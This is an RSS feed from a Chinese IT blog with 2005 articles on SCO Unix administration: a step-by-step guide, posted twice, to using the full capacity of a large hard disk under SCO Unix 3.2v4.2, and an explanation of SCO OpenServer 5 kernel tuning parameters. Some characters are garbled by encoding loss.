﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-cyberfan's blog-文章分类-linux/unix</title><link>http://www.cnitblog.com/cyberfan/category/559.html</link><description>正其谊不谋其利，明其道不计其功</description><language>zh-cn</language><lastBuildDate>Thu, 29 Sep 2011 01:41:12 GMT</lastBuildDate><pubDate>Thu, 29 Sep 2011 01:41:12 GMT</pubDate><ttl>60</ttl><item><title>对已安装的旧版SCO Unix的大硬盘的充分利用</title><link>http://www.cnitblog.com/cyberfan/articles/2102.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:26:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2102.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2102.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2102.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2102.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2102.html</trackback:ping><description><![CDATA[SCO Unix 3.2v4.2系统不支持大硬盘，为了使其能支持大硬盘，SCO公司提供了一张补丁盘Boot SLS for Unix/ODT,在安装系统时，用它来代替N1盘进行安装，可使系统支持大硬盘。但是，在金融系统的许多应用的微机中，早已安装了SCO Unix 3.2v4.2，并且许多机器中为大硬盘，在最初安装时，为了使其支持SCO Unix 3.2v4.2，不得不把硬盘的CMOS的柱面参数改为小于1024个柱面，致使硬盘大材少用。正是基于这个原因，本人把利用整个硬盘的心得体会奉献给大家，在文中采用中英文对照方式，对一些命令进行了较为详细的说明，仅供参考，不当之处敬请批评指正。 <BR><BR>一、 环境介绍<BR>　　本人所用机器为HP VL4 5/100(奔腾处理器)，硬盘大小为3249M字节(16个磁头，6296个柱面，每个磁道有63个扇区)，已安装了SCO Unix 3.2v4.2，为了使系统能支持该硬盘，在CMOS中缫寻延才痰牟问奈?023个柱面，这样3G多字节的硬盘实际上只用了527M字节。 <BR><BR>二、 操作步骤<BR>　　(一)安装Boot SLS for Unix/ODT补丁盘<BR>　　1.在超级用户下，执行命令＃init 1(回车)进入单用户方式。<BR>　　2.插入补丁盘Boot SLS for Unix/ODT。<BR>　　3.执行命令＃ custom －i(回车)安装软件包。在安装时选择安装一个新产品，并安装整个软件包，安装完时系统自动重构内核，对一切问题回答y，然后敲回车退出custom。<BR>　　(二)执行reboot命令重启机器，并在出现Ctrl＋D提示时输入超级用户口令重新进入单用户<BR>　　(三)执行/etc/dkinit命令修改硬盘参数。具体情况如下<BR>　　执行＃dkinit /dev/rhd00(回车)出现dkinit的主菜单：<BR>　　Hard Disk Drive 0 Configuration(第一硬盘配置)<BR>　　1.Display current disk parameters(显示当前硬盘参数)<BR>　　2.Modify current disk parameters(修改当前硬盘参数)<BR>　　3.Select default disk parameters(选择缺省硬盘参数)<BR>　　Enter your choice or q to quit(敲入你的选择或q退出)：2<BR>　　选择2后显示：　　Disk Parameters(硬盘参数) Values(参数值)<BR>　　———————　　　　　　——<BR>　　1.Cylinders(柱面数)　　　 1023<BR>　　2.Heads(磁头数)　　　　　　16<BR>　　3.Write Reduce　　　 　　　　0<BR>　　4.Write Precomp　　　　 65535<BR>　　5.Ecc　　　　　　　　 　 0<BR>　　6.Control　　　　　　 　 8<BR>　　7.Landing Zone(着陆区) 　 1023<BR>　　8.Sectors/track(每道扇区数)　63<BR>　　Enter a parameter to modify or q to return to the main menu:<BR>　　对硬盘参数的第1、7项进行修改，使其为硬盘的实际柱面数，即6296，然后连续敲入两个q退出dkinit。<BR>　　(四)执行reboot命令重新启动机器，并做以下两项<BR>　　(1)在机器重启时，按F2进入CMOS，修改硬盘参数使其柱面数为其实际大小(即6296)，然后保存参数退出。<BR>　　(2)机器启动在出现Ctrl＋D提示时输入超级用户口令重新进入单用户。在启动时，我们会发现硬盘参数已变为其实际大小：<BR>　　％disk 0x01F0－0x01F7 14－type=W0 unit=0cy1s=6296　hds=16　secs=63<BR>　　(五)执行/etc/fdisk命令在硬盘剩余空间创建新的UNIX分区，注意每个分区大小不能超过2G字节。我的硬盘创建的分区为<BR>Current Hard Disk Drive:/dev/rhd00<BR><BR>Partition Status Type Start End Size <BR>1 Axtive UNIX 1 16351 16351 <BR>2 Inactive UNIX 16352 76351 60000 <BR>3 Inactive UNIX 76352 100719 24368 <BR><BR>　　Total disk size:100736 tracks (17 reserved for masterboot and diagnostics)<BR>　　硬盘分区与设备文件的对应关系如下：<BR>　　/dev/rhd00　　/dev/hd00　　第一硬盘整个硬盘<BR>　　/dev/rhd01　　/dev/hd01　　第一硬盘第一分区<BR>　　/dev/rhd02　　/dev/hd02　　第一硬盘第二分区<BR>　　/dev/rhd03　　/dev/hd03　　第一硬盘第三分区<BR>　　/dev/rhd0a　　/dev/hd0a　　第一硬盘活动分区<BR>　　(六)用/etc/badtrk命令扫描新建立的分区是否有坏磁道。以对第三分区扫描为例，执行命令(千万不要用错设备文件名)<BR>　　＃badtrk －f /dev/rhd03<BR>　　显示菜单：<BR>　　1.Print Current Bad Track Table(显示当前坏道表)<BR>　　2.Scan Disk(只读方式和破坏性方式)<BR>　　3.Add Entries to Current Bad Track Table by Cylinder/Head Number(以柱面/头方式向当前坏道表中添加项)<BR>　　4.Add Entries to Current Bad Track Table by Sector Number(以扇区号方式向当前坏道表中添加项)<BR>　　5.Delete Entries Individually from Current Bad Track Table(删除当前坏道表中的单个项)<BR>　　6.Delete All Entries from Current Bad Track Table(删除当前坏道表中的所有项)　　Enter your choice or q to quit:2<BR>　　选择2(扫描硬盘)，出现：<BR>　　1.Scan entire UNIX partition(扫描整个UNIX分区)<BR>　　2.Scan a specified range of tracks(扫描指定的磁道范围)<BR>　　3.Scan a specified filesystem(扫描指定的文件系统)　　Enter your choice or q to quit:1<BR>　　选择1(扫描整个UNIX分区)，出现：<BR>　　1.Quick scan(快速扫描，大约7M字节/每分钟)<BR>　　2.Thorough scan(全部彻底扫描，大约1M字节/每分钟)<BR>　　Enter your choice or q to quit:1<BR>　　选择1(快速扫描)，出现：<BR>　　Do you want this to be a destructive scan?(y/n) y<BR>　　输入y进行破坏性扫描(慎用!为安全起见，可输入n进行非破坏性扫描)，出现：<BR>　　This will destroy the present contents of the region you are scanning(这将破坏你正要扫描的硬盘区域的内容)。<BR>　　Do you wish to continue? (y/n) y<BR>　　输入y开始进行破坏性扫描，并提示扫描进度：<BR>　　Scanning in progress,type q to interrupt at any time　　Enter your choice or q to quit:q　　扫描结束后，敲入q退出badtrk命令。<BR>　　(七)执行/etc/divvy命令对建立的分区进行分片(以对硬盘的第二Unix分区进行分片为例)　　divvy命令的－m选项用于创建可安装的分片。执行命令：<BR>　　＃ divvy －m /dev/rhd02　　显示：<BR>　　There are 1889495 blocks in the UNIX area(显示在该Unix分区中有1889495块)。　　Please enter the number of file systems you want this areato be dividedinto,or press&lt;Return&gt;to get the default of 1 file system(s)<BR>　　直接敲回车(在此可输入要建立的文件系统的数目，或直接敲回车设为一个文件系统)，显示：<BR>　　The layout of the filesystems and swap area is now prepared。<BR>　　Do you wish to make any manual adjustments to the sizes or<BR>　　names of the filesystems or swap area before they are created<BR>　　on the hard disk?(y/n) y(敲入y对文件系统或交换区的名字或大小进行手工调整，手工调整后还需要安装分片)<BR>　　我的硬盘第二分区的分片表为： <BR>Name(名字) Type(类型) New FS(新文件系统？) # First Block Last Block <BR>home EAFS Yes 0 0 1889494 <BR>　 NOT USED no 1 - - <BR>　 NOT USED no 2 - - <BR>　 NOT USED no 3 - - <BR>　 NOT USED no 4 - - <BR>　 NOT USED no 5 - - <BR>　 NOT USED no 6 - - <BR>d1027all EHOLE DISK no 7 0 1889999 <BR><BR>　　1889495 1K blocks for divisions,504 1k blocks reserved for the system<BR>　　注意：如果不在划分的分片上创建文件系统，则divvy创建的分片的设备文件可直接被数据库系统所用。<BR>　　(八)安装新创建的文件系统<BR>　　执行＃ mkdev fs<BR>　　显示<BR>　　Filesystem Initialization Program(文件系统初始化程序)<BR>　　This program performs maintennce tasks required to add or delete an existing filesystem(这个程序执行对现有的文件系统的增加和删除的维护任务)。Would you like to(你可以进行)：<BR>　　1.Add a new filesystem to system。(给系统增加一个新的文件系统)<BR>　　2.Remove a filesystem。(删除一个文件系统)<BR>　　Select an option or enter q to quit:1(选择1进行添加)<BR>　　Enter a device name and press &lt;Return&gt; or q to quit(可在此输入用divvy创建的要安装的文件系统的设备文件名)：/dev/home<BR>　　Enter a directory name and press &lt;Return&gt; or q to quit(在此输入安装点目录)：/home<BR>　　Reserving slots in lost＋found directory...(在lost＋found目录中预留空间)<BR>　　When entering multiuser mode(在进入多用户方式时是否安装文件系统)：<BR>　　1.Always mount /dev/home(总是安装/dev/home)<BR>　　2.Never mount /dev/home(从不安装/dev/home)<BR>　　3.Prompt before mounting /dev/home(在安装/dev/home之前给出提示)。<BR>　　Select an option:1(选择1，使在进入多用户时自动安装)<BR>　　Do you want to allow users to mount this file system?(y/n) y (可根据需要选择是否允许用户自己安装，在此选择n)<BR>　　Updating system files...(修改系统文件)<BR>　　Filesystem has been successfully added(文件系统被成功修改)<BR>　　显示完以上两行信息，回到shell提示符时，文件系统就添加完毕了。<BR>　　执行完以上步骤，在已安装有SCO Unix 3.2v4.2的大硬盘上对硬盘的充分利用的处理工作就可以画个句号了。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2102.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:26 <a href="http://www.cnitblog.com/cyberfan/articles/2102.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对已安装的旧版SCO Unix的大硬盘的充分利用</title><link>http://www.cnitblog.com/cyberfan/articles/2101.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:19:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2101.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2101.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2101.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2101.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2101.html</trackback:ping><description><![CDATA[SCO Unix 3.2v4.2系统不支持大硬盘，为了使其能支持大硬盘，SCO公司提供了一张补丁盘Boot SLS for Unix/ODT,在安装系统时，用它来代替N1盘进行安装，可使系统支持大硬盘。但是，在金融系统的许多应用的微机中，早已安装了SCO Unix 3.2v4.2，并且许多机器中为大硬盘，在最初安装时，为了使其支持SCO Unix 3.2v4.2，不得不把硬盘的CMOS的柱面参数改为小于1024个柱面，致使硬盘大材少用。正是基于这个原因，本人把利用整个硬盘的心得体会奉献给大家，在文中采用中英文对照方式，对一些命令进行了较为详细的说明，仅供参考，不当之处敬请批评指正。 <BR><BR>一、 环境介绍<BR>　　本人所用机器为HP VL4 5/100(奔腾处理器)，硬盘大小为3249M字节(16个磁头，6296个柱面，每个磁道有63个扇区)，已安装了SCO Unix 3.2v4.2，为了使系统能支持该硬盘，在CMOS中缫寻延才痰牟问奈?023个柱面，这样3G多字节的硬盘实际上只用了527M字节。 <BR><BR>二、 操作步骤<BR>　　(一)安装Boot SLS for Unix/ODT补丁盘<BR>　　1.在超级用户下，执行命令＃init 1(回车)进入单用户方式。<BR>　　2.插入补丁盘Boot SLS for Unix/ODT。<BR>　　3.执行命令＃ custom －i(回车)安装软件包。在安装时选择安装一个新产品，并安装整个软件包，安装完时系统自动重构内核，对一切问题回答y，然后敲回车退出custom。<BR>　　(二)执行reboot命令重启机器，并在出现Ctrl＋D提示时输入超级用户口令重新进入单用户<BR>　　(三)执行/etc/dkinit命令修改硬盘参数。具体情况如下<BR>　　执行＃dkinit /dev/rhd00(回车)出现dkinit的主菜单：<BR>　　Hard Disk Drive 0 Configuration(第一硬盘配置)<BR>　　1.Display current disk parameters(显示当前硬盘参数)<BR>　　2.Modify current disk parameters(修改当前硬盘参数)<BR>　　3.Select default disk parameters(选择缺省硬盘参数)<BR>　　Enter your choice or q to quit(敲入你的选择或q退出)：2<BR>　　选择2后显示：　　Disk Parameters(硬盘参数) Values(参数值)<BR>　　———————　　　　　　——<BR>　　1.Cylinders(柱面数)　　　 1023<BR>　　2.Heads(磁头数)　　　　　　16<BR>　　3.Write Reduce　　　 　　　　0<BR>　　4.Write Precomp　　　　 65535<BR>　　5.Ecc　　　　　　　　 　 0<BR>　　6.Control　　　　　　 　 8<BR>　　7.Landing Zone(着陆区) 　 1023<BR>　　8.Sectors/track(每道扇区数)　63<BR>　　Enter a parameter to modify or q to return to the main menu:<BR>　　对硬盘参数的第1、7项进行修改，使其为硬盘的实际柱面数，即6296，然后连续敲入两个q退出dkinit。<BR>　　(四)执行reboot命令重新启动机器，并做以下两项<BR>　　(1)在机器重启时，按F2进入CMOS，修改硬盘参数使其柱面数为其实际大小(即6296)，然后保存参数退出。<BR>　　(2)机器启动在出现Ctrl＋D提示时输入超级用户口令重新进入单用户。在启动时，我们会发现硬盘参数已变为其实际大小：<BR>　　％disk 0x01F0－0x01F7 14－type=W0 unit=0cy1s=6296　hds=16　secs=63<BR>　　(五)执行/etc/fdisk命令在硬盘剩余空间创建新的UNIX分区，注意每个分区大小不能超过2G字节。我的硬盘创建的分区为<BR>Current Hard Disk Drive:/dev/rhd00<BR><BR>Partition Status Type Start End Size <BR>1 Axtive UNIX 1 16351 16351 <BR>2 Inactive UNIX 16352 76351 60000 <BR>3 Inactive UNIX 76352 100719 24368 <BR><BR>　　Total disk size:100736 tracks (17 reserved for masterboot and diagnostics)<BR>　　硬盘分区与设备文件的对应关系如下：<BR>　　/dev/rhd00　　/dev/hd00　　第一硬盘整个硬盘<BR>　　/dev/rhd01　　/dev/hd01　　第一硬盘第一分区<BR>　　/dev/rhd02　　/dev/hd02　　第一硬盘第二分区<BR>　　/dev/rhd03　　/dev/hd03　　第一硬盘第三分区<BR>　　/dev/rhd0a　　/dev/hd0a　　第一硬盘活动分区<BR>　　(六)用/etc/badtrk命令扫描新建立的分区是否有坏磁道。以对第三分区扫描为例，执行命令(千万不要用错设备文件名)<BR>　　＃badtrk －f /dev/rhd03<BR>　　显示菜单：<BR>　　1.Print Current Bad Track Table(显示当前坏道表)<BR>　　2.Scan Disk(只读方式和破坏性方式)<BR>　　3.Add Entries to Current Bad Track Table by Cylinder/Head Number(以柱面/头方式向当前坏道表中添加项)<BR>　　4.Add Entries to Current Bad Track Table by Sector Number(以扇区号方式向当前坏道表中添加项)<BR>　　5.Delete Entries Individually from Current Bad Track Table(删除当前坏道表中的单个项)<BR>　　6.Delete All Entries from Current Bad Track Table(删除当前坏道表中的所有项)　　Enter your choice or q to quit:2<BR>　　选择2(扫描硬盘)，出现：<BR>　　1.Scan entire UNIX partition(扫描整个UNIX分区)<BR>　　2.Scan a specified range of tracks(扫描指定的磁道范围)<BR>　　3.Scan a specified filesystem(扫描指定的文件系统)　　Enter your choice or q to quit:1<BR>　　选择1(扫描整个UNIX分区)，出现：<BR>　　1.Quick scan(快速扫描，大约7M字节/每分钟)<BR>　　2.Thorough scan(全部彻底扫描，大约1M字节/每分钟)<BR>　　Enter your choice or q to quit:1<BR>　　选择1(快速扫描)，出现：<BR>　　Do you want this to be a destructive scan?(y/n) y<BR>　　输入y进行破坏性扫描(慎用!为安全起见，可输入n进行非破坏性扫描)，出现：<BR>　　This will destroy the present contents of the region you are scanning(这将破坏你正要扫描的硬盘区域的内容)。<BR>　　Do you wish to continue? (y/n) y<BR>　　输入y开始进行破坏性扫描，并提示扫描进度：<BR>　　Scanning in progress,type q to interrupt at any time　　Enter your choice or q to quit:q　　扫描结束后，敲入q退出badtrk命令。<BR>　　(七)执行/etc/divvy命令对建立的分区进行分片(以对硬盘的第二Unix分区进行分片为例)　　divvy命令的－m选项用于创建可安装的分片。执行命令：<BR>　　＃ divvy －m /dev/rhd02　　显示：<BR>　　There are 1889495 blocks in the UNIX area(显示在该Unix分区中有1889495块)。　　Please enter the number of file systems you want this areato be dividedinto,or press&lt;Return&gt;to get the default of 1 file system(s)<BR>　　直接敲回车(在此可输入要建立的文件系统的数目，或直接敲回车设为一个文件系统)，显示：<BR>　　The layout of the filesystems and swap area is now prepared。<BR>　　Do you wish to make any manual adjustments to the sizes or<BR>　　names of the filesystems or swap area before they are created<BR>　　on the hard disk?(y/n) y(敲入y对文件系统或交换区的名字或大小进行手工调整，手工调整后还需要安装分片)<BR>　　我的硬盘第二分区的分片表为： <BR>Name(名字) Type(类型) New FS(新文件系统？) # First Block Last Block <BR>home EAFS Yes 0 0 1889494 <BR>　 NOT USED no 1 - - <BR>　 NOT USED no 2 - - <BR>　 NOT USED no 3 - - <BR>　 NOT USED no 4 - - <BR>　 NOT USED no 5 - - <BR>　 NOT USED no 6 - - <BR>d1027all EHOLE DISK no 7 0 1889999 <BR><BR>　　1889495 1K blocks for divisions,504 1k blocks reserved for the system<BR>　　注意：如果不在划分的分片上创建文件系统，则divvy创建的分片的设备文件可直接被数据库系统所用。<BR>　　(八)安装新创建的文件系统<BR>　　执行＃ mkdev fs<BR>　　显示<BR>　　Filesystem Initialization Program(文件系统初始化程序)<BR>　　This program performs maintennce tasks required to add or delete an existing filesystem(这个程序执行对现有的文件系统的增加和删除的维护任务)。Would you like to(你可以进行)：<BR>　　1.Add a new filesystem to system。(给系统增加一个新的文件系统)<BR>　　2.Remove a filesystem。(删除一个文件系统)<BR>　　Select an option or enter q to quit:1(选择1进行添加)<BR>　　Enter a device name and press &lt;Return&gt; or q to quit(可在此输入用divvy创建的要安装的文件系统的设备文件名)：/dev/home<BR>　　Enter a directory name and press &lt;Return&gt; or q to quit(在此输入安装点目录)：/home<BR>　　Reserving slots in lost＋found directory...(在lost＋found目录中预留空间)<BR>　　When entering multiuser mode(在进入多用户方式时是否安装文件系统)：<BR>　　1.Always mount /dev/home(总是安装/dev/home)<BR>　　2.Never mount /dev/home(从不安装/dev/home)<BR>　　3.Prompt before mounting /dev/home(在安装/dev/home之前给出提示)。<BR>　　Select an option:1(选择1，使在进入多用户时自动安装)<BR>　　Do you want to allow users to mount this file system?(y/n) y (可根据需要选择是否允许用户自己安装，在此选择n)<BR>　　Updating system files...(修改系统文件)<BR>　　Filesystem has been successfully added(文件系统被成功修改)<BR>　　显示完以上两行信息，回到shell提示符时，文件系统就添加完毕了。<BR>　　执行完以上步骤，在已安装有SCO Unix 3.2v4.2的大硬盘上对硬盘的充分利用的处理工作就可以画个句号了。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2101.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:19 <a href="http://www.cnitblog.com/cyberfan/articles/2101.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO核心参数详细说明</title><link>http://www.cnitblog.com/cyberfan/articles/2099.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:11:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2099.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2099.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2099.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2099.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2099.html</trackback:ping><description><![CDATA[在SCO OpenServer 5中,用./configure或scoadmin→Hardware /Kernel Manager→Parameters可以配置系统的核心参数,这些系统可调核心参数共分为18大类, <BR><BR>1 Buffers Management 缓存区管理参数 <BR><BR>2 Process and paging 进程管理参数 <BR><BR>3 TTYS 与字符设备驱动程序相关的数据结构大小和其它限制参数 <BR><BR>4 Name Cache 与文件名和节点号之间映射相关的Name Cache有关参数 <BR><BR>5 AIO 异步I/O性能相关参数 <BR><BR>6 Virtual Disks 虚拟硬盘管理和配置相关参数 <BR><BR>7 User and group configuration 控制与单个用户或组相关的系统资源参数 <BR><BR>8 Security 系统安全性能参数 <BR><BR>9 TTY and console configuration 终端相关参数 <BR><BR>10 Filesystem configuration 不同文件系统的配置参数 <BR><BR>11 Table limits 动态核心表相关的内存配置参数 <BR><BR>12 Streams 字符I/O接口的配置相关参数 <BR><BR>13 Messages queues 进程间通讯消息相关参数 <BR><BR>14 Event queues 事件队列配置相关参数 <BR><BR>15 Semaphores 进程间通讯信号灯相关参数 <BR><BR>16 Shared data 进程间通讯共享相关参数 <BR><BR>17 Miscellaneous system string buffer和kernel profiler symbol table相关参数 <BR><BR>18 Miscellamious device drivers and hardware parameters相关参数 <BR><BR>下面让ytjoe带你来一个一个学习这些参数.<BR><BR>　 <BR><BR>Buffers Management 缓存区管理参数包括: <BR><BR>NBUF:total system buffers the value is wrrenty determined at system start up <BR><BR>????????以KB为单位,定义系统启动时分配的全部缓存区的数量.buffer cache是硬盘和用户地址空间之间的临时缓存区域.NBUF控制buffer cache的数量.改变NBUF必须同时改变NHBUF参数,通常NBUF/NHBUF约等于4. <BR><BR>????????系统引导时所显示的"kernel i/o bufs"表示buffer cache的大小,在文件/usr/adm/messages中也记录了buffer cache的大小.增加buffer cache的大小,可以提高buffer cache的使用频率,减少硬盘的读写次数,从而整体提高硬盘的I/O性能.使用命令sar -b可以获得系统buffer cache使用频率的有关报告. <BR><BR>????????通常情况下,系统buffer cache的数量为300～600,在大型的服务器系统上buffer cache的数量为8000或者更多,NBUF缺省值设置为0,表示系统在引导时自动设置buffer cache的大小. <BR><BR>NHBUF:hash buffers(for disk block sorting) <BR><BR>????????表示系统上有多少个混队队列要分配,每一个混队队列占用8个字节的内存.NHBUF必须是2的乘幂,取值范围是32～524288,缺省值为0,表示系统在引导时自动设置NHBUF的大小. <BR><BR>????????在单CPU的计算机系统上,NHBUF的值必须少于NBUF大小的1/2. <BR><BR>????????在多CPU的计算机系统上,NHBUF的值一般设置为单CPU情况下设置的2倍以上,这可以减少需要访问同一混对队列的多个进程之间的可能链接. <BR><BR>NMPBUF:number of dmaable page for scatter-gather and dma reguests <BR><BR>????????以4KB内存页面为单位,定义16KB簇缓存区、4KB传输缓存区transfer buffer以及1KB复制请求缓存区copy request buffer的数量.如果系统上建立了许多用户,以及系统内存大于16MB,NMPBUF的数量不能少于40.NMPBUF的缺省值为0,这种情况下,系统在启动时,根据内存数量的多少,将NMPBUF设置为40～64之间的某个数值.NMPBUF的最大取值为512. <BR><BR>PLOWBUFS:Percentage og buffers,below 16MB <BR><BR>????????以百分比的形式,表示第一个16MB的RAM中,所包含的buffer cache数量.如果系统中硬盘等外围设备的控制器不能执行DMA到内存的操作(例如24位地址控制器),那么应该将PLOWBUFS值尽可能地设置的大些,如果允许,可以把PLOWBUFS值设置为100,这样可以消除16MB以上内存和复写内存copy buffer之间的复制需要.PLOWBUFS的取值范围是1～100,缺省值为30.系统内存多于16MB,可以调整PLOWBUFS的值,否则建议使用缺省值. <BR><BR>PUTBUFSE:Size of the circular buffer putbuf <BR><BR>????????这个参数确定循环缓冲区PUTBUF的大小,PUTBUF包含了最近的由操作系统传输给终端的PUNBUFSE自负,可以使用crash(ADM)查看PUTBUF的内容.PUTBUFSE缺省值是2000,最大值是10000. <BR><BR>MHINODE:inode hash table size <BR><BR>????????确定inode hash table的大小,MHINODE的取值必须是2的乘幂,取值范围是64～8192,缺省值是128. <BR><BR>BDFLUSHR:interval in secouds between bdflush being run <BR><BR>????????这个参数以秒为单位定义系统守护进程bafflush的运行时间长度,既定以buffer cache中的内容写入硬盘的时间.BDFLUSHR必须和NAUTOUP联合调整.取值范围是1～300秒,缺省值为30秒.加大该值会降低硬盘性能,增大数据丢失概率.如果将BDFLUSHR设置为300秒,平均而言,buffer cache中大约150秒的数据将丢失. <BR><BR>NAUTOUR:age,in secouds,tat a delayed-write buffer must be before bdflush writes it out <BR><BR>????????以秒为单位,定义缓冲区数据的寿命,既定义文件系统自动更新的时间间隔.其值大小应该同BDFLUSHR匹配.只有当bdflush守护进程运行,并且缓存区被安排了一段NAUTOUR时间或者更长的时间用于写操作,缓存区里的数据才被写入硬盘.也就是说,并不是所有的写缓存区在bdflush守护进程运行时都会被更新.因为bdflush守护进程运行的时间相对NAUTOUP时间短一些,这样就可以实现某个进程对缓存区多次进行写操作,减少对硬盘的实际写操作. <BR><BR>????????如果减少BDFLUSHR/NAUTOUP比值,实际的硬盘读写次数也会减少,系统的I/O性能将得到提高,但I/O过程的可靠性将降低.如果增加BDFLUSHR/NAUTOUP比值,系统的I/O过程的可靠性会得到提高,但I/O性能将下降. <BR><BR>????????NAUTOUP取值范围是0～60,缺省值是10.<BR><BR>　 <BR>Process and paging所包含的参数: <BR><BR>GPGSLO：Lowest amount freemen can be,before pages are stolen form processes <BR><BR>????????以页面为单位，为进程vhand确定以页面为单位的自由内存低限标志。通常，GPGSLO设置为页面内存的1/16。GPGSLO的取值范围是0～200，并且必须小于GPGSHI的大小。 <BR><BR>GPGSHI：once pages are stolen form processes , don't stop before freemen reaches this value <BR><BR>????????以页面为单位，为进程vhand确定以页面为单位的自由内在高限标志。通常，GPGSHI设置为页面内在的1/10。GPGSHI的取值范围是1～300，并且必须大于GPGSLO的大小。 <BR><BR>MINARMEN：mininun available resident memory,in pages,to maintain in order to avoid deadlock. <BR><BR>????????用户进程的文本和数据段保留的最小内存页面数。可以使用crash(ADM)中的od-davailrmen命令行查看为用户进程所保留的物理内存。MINARMEN的取值范围是25～40个内存页面，缺省取值为25个内存页面。 <BR><BR>????????如果系统内存显示： <BR><BR>????????CONFIG：routine -n resident pages wanted <BR><BR>????????这表明系统内存不足，需要增加MINARMEN的大小。 <BR><BR>MINASMEN：mininum available swappble menory , in pages;to maintain in order to avoid deadlock。 <BR><BR>????????定义系统所保留的内存和交换区的最小页面数。可以使用crash(ADM)中的od -d availsmen命令行查看系统交换区的大小。MINASMEN的取值范围是25～40个内存页面，缺省取值为25个内存页面。 <BR><BR>????????如果系统显示： <BR><BR>????????CONFIG：swapdel - Total swap area too small (MINASMEM = number exceeded) <BR><BR>????????这表明需要增加MINASMEN的大小。 <BR><BR>????????如果系统显示： <BR><BR>????????CONFIG：routine -n swappable pages wanted <BR><BR>??????这表明系统没有足够的物理内存分配给MINASMEN，会导致系统上的应用程序常出现故障，需要增加系统的内存或交换区的大小，才能从根本上解决这个问题。 <BR><BR>MAXSLICE：maxinmum time slice for processes , in clock ticks。 <BR><BR>????????以系统时钟计时方式定义用户进程的最大时间片。当一个进程执行完分配给它的CPU时间片后，返回就绪状态或封锁状态，系统从处于就绪状态的进程队列中选择优先级最高的一个进程，将MAXSLICE时间片分配给这个进程。MAXSLICE取值范围为25～100，缺省值为每秒100个时间片。 <BR><BR>SPTMAP：size of system virtual space allocation map。 <BR><BR>????????用来定义Unix核心虚拟地址空间分配变换表项数组的长度。SPTMAP取值范围是100～500，缺省取值为200。<BR><BR>TTYS所包含的参数: <BR><BR>NCLIST:number of characeter list buffers <BR><BR>????????以字符块为单位,指定要分配的字符队列缓存区的数量,每一个字符块包含64字节数据.这些buffer动态地链接起来,组成终端等低速设备的输入输出队列.每个终端所需要的平均buffer数目为5～10个,每一个buffer空间连同所附加的头表项共占用72个字节. <BR><BR>????????如果系统显示: <BR><BR>????????CONFIG:Out of clists(NCLIST=number exceeded) <BR><BR>????????这表明系统的字符队列缓存区已经被占满,终端相关的输入输出字符将会被丢失. <BR><BR>????????如果系统上用户通过9600bps以上的串行线登录进入系统,NCLIST的大小一般设置为同时登录进入系统最大用户数期望值的10倍.NCLIST的取值范围是120～16640,缺省值的大小为120.NCLIST的大小应该和TTHOG共同进行调节. <BR><BR>TTHOG:size of raw gueue of tty driver <BR><BR>????????以字节为单位,定义tty驱动程序字符队列的大小,以及tty缓存区储存字符的能力.增加TTHOG的大小,可以提高tty缓存区储存字符的能力,从而使得在系统极度繁忙时,减少输入字符的丢失概率.TTHOG的取值范围是256个字节至8192字节,缺省是256个字节.如果数据传输速度超过9600bps,那么应该根据系统上所运行的应用程序的情况,将TTHOG的大小设置为2048或者4096.TTHOG的大小应该和NCLIST共同进行调节,TTHOG是对一个串口的定义,NCLIST是对系统所有串口的定义,在改变TTHOG值时,一定要改变NCLIST的值. <BR><BR>????????例如,TTHOG为2048,NCLIST的大小为320,这表明每个串口最多可使用2048/64=32个字符块,系统总共有320/32=10个串口.如果根据需要把TTHOG增加为4096,那么这个串口最多可使用64个字符块,NCLIST的大小应该调整为640. <BR><BR>　<BR><BR>Name cache所包含的参数: <BR><BR>CACHEENTS:maximum number of name components in name cache <BR><BR>????????取值范围是1～4096,缺省值是256.设置CACHEENTS大小时,可以通过sar -v命令查看in-core inode table增长的最大值,然后将CACHEENTS值设置为in-core inode table的最大增长大小的3倍. <BR><BR>　<BR><BR>AIO所包含的参数: <BR><BR>NAIOPROC:number of processes-which may be simultaneously doing AID <BR><BR>??????定义异步I/O(AIO)进程表process table的大小,既定义系统能够同时执行的异步I/O进程的最大数目.NAIPROC的取值范围是1～16,缺省值是5. <BR><BR>如果系统提示: <BR><BR>CONFIG:aio memlock - AIO process table overflow(NAIOPROC=number exceeded) <BR><BR>这表明系统AIO进程表溢出,需要将NAIOPROC 值适当调大. 